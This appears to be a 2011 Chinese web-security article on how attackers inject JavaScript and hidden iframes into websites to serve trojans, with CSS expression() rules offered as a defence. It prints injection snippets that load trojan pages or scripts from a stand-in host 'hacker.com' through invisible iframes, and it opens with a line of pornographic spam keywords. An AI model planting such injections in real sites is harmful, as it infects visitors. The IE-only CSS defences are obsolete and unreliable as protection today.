亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

防止網(wǎng)站被JS,iframe掛馬的防范方法

  發(fā)布時(shí)間:2011-05-01 01:18:07   作者:佚名   我要評(píng)論
現(xiàn)在最多見的JS掛馬方法有兩種,一種是直接將JavaScript腳本代碼寫在網(wǎng)頁(yè)中,當(dāng)訪問(wèn)者在瀏覽網(wǎng)頁(yè)時(shí),惡意的掛馬腳本就會(huì)通過(guò)用戶的瀏覽器悄悄地打開網(wǎng)馬窗口,隱藏地運(yùn)行。
這種方法使用的關(guān)鍵代碼如下:
window.open("http://www.hacker.com/木馬.html","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1");
這種代碼往往很長(zhǎng),很容易被安全工程師發(fā)現(xiàn),而且沒有經(jīng)驗(yàn)的黑客也喜歡將“width”和“height=”參數(shù)設(shè)為“0”,但是設(shè)置為0后,可能會(huì)出現(xiàn)惡意代碼不運(yùn)行的情況。
另外一種JS掛馬方式是,黑客先將掛馬腳本代碼“document.write('<Iframe src="網(wǎng)頁(yè)木馬地址" ></iframe>')”,寫入Windows中的寫字板另存為后綴為.js的腳本文件,并上傳到自己指定的網(wǎng)址。這時(shí)黑客只需要在受害者的網(wǎng)站中寫入:
<script src="http://www.hacker.com/木馬腳本.js"></script>
或者
document.write("<div style='display:none'>")
document.write("<iframe src="網(wǎng)頁(yè)木馬地址" width="0" height="0" scrolling="no" frameborder="0"></iframe>")
document.write("</div>")
就成功地將木馬掛到了對(duì)方的網(wǎng)頁(yè)中了。
小提示:黑客還可以根據(jù)情況隨機(jī)變換插入的JS掛馬方法,例如黑客有可能會(huì)將腳本寫為:
<div style="behaviour: url(http://www.hacker.com/木馬腳本.js);">
或者:
<iframe src="vbscript:[掛馬腳本]">
等等……
防第一種JS掛馬方式,不方便,用得非常少,而第二種JS掛馬方式才是當(dāng)前主流的,所以我們主要針對(duì)它進(jìn)行防御。方法就是阻止Src請(qǐng)求的異地外域的JS腳本,代碼如下:
iframe{mdy1:expression(this.src='about:blank',this.outerHTML='');}
script{mzm2:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木馬被成功隔離!'):'');}
不過(guò)這種方法的缺點(diǎn)就是網(wǎng)站的訪問(wèn)者將不能看到被掛了JS木馬的相關(guān)網(wǎng)頁(yè)。
所以我們?yōu)榘踩こ處熖峁┝艘欢慰梢灾兄笿S腳本運(yùn)行的CSS代碼,這段代碼會(huì)讓異地外域的JS文件在使用document.write()時(shí),被document.close()強(qiáng)制關(guān)閉。這個(gè)時(shí)侯JS掛馬的內(nèi)容往往還沒有來(lái)得及寫完,只有部分被強(qiáng)制輸出了,Writer后面的內(nèi)容再不會(huì)被寫入訪問(wèn)者的電腦中,從而起到防范JS腳本掛馬的作用。
讓JS木馬的進(jìn)程迅速中止
在 <head> </head> 之間加入如下代碼:
屏蔽script和iframe
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
</style>
單屏蔽script
<style type="text/css" id="LinrStudio">
/*<![CDATA[*/
/*iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}*/
script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}
/*]]>*/
</style>

上面的代碼經(jīng)腳本之家測(cè)試,代碼是根據(jù)查找http一般情況下大家寫的js路徑,是帶有域名的,例如腳本之家使用的就是http://img.jb51.net/1.js那么也是無(wú)法運(yùn)行的,所以上面的代碼有一定的局限性。大家可以根據(jù)需要修改。
例如我們的地址都是img.jb51.net那么可以寫成
script{ngz1:expression((this.src.indexOf('jb51.net')==-1)?document.close():'');}
那么我們需要的就是將我們所以的js都寫成帶http://img.jb51.net的。如果你有更好的方法可以發(fā)布下。下面是我們給出的可能需要多重判斷
script{ngz1:expression(((this.src.indexOf('jb51.net')==-1)&&this.src.indexOf('http')==0)?document.close():'');}

相關(guān)文章

最新評(píng)論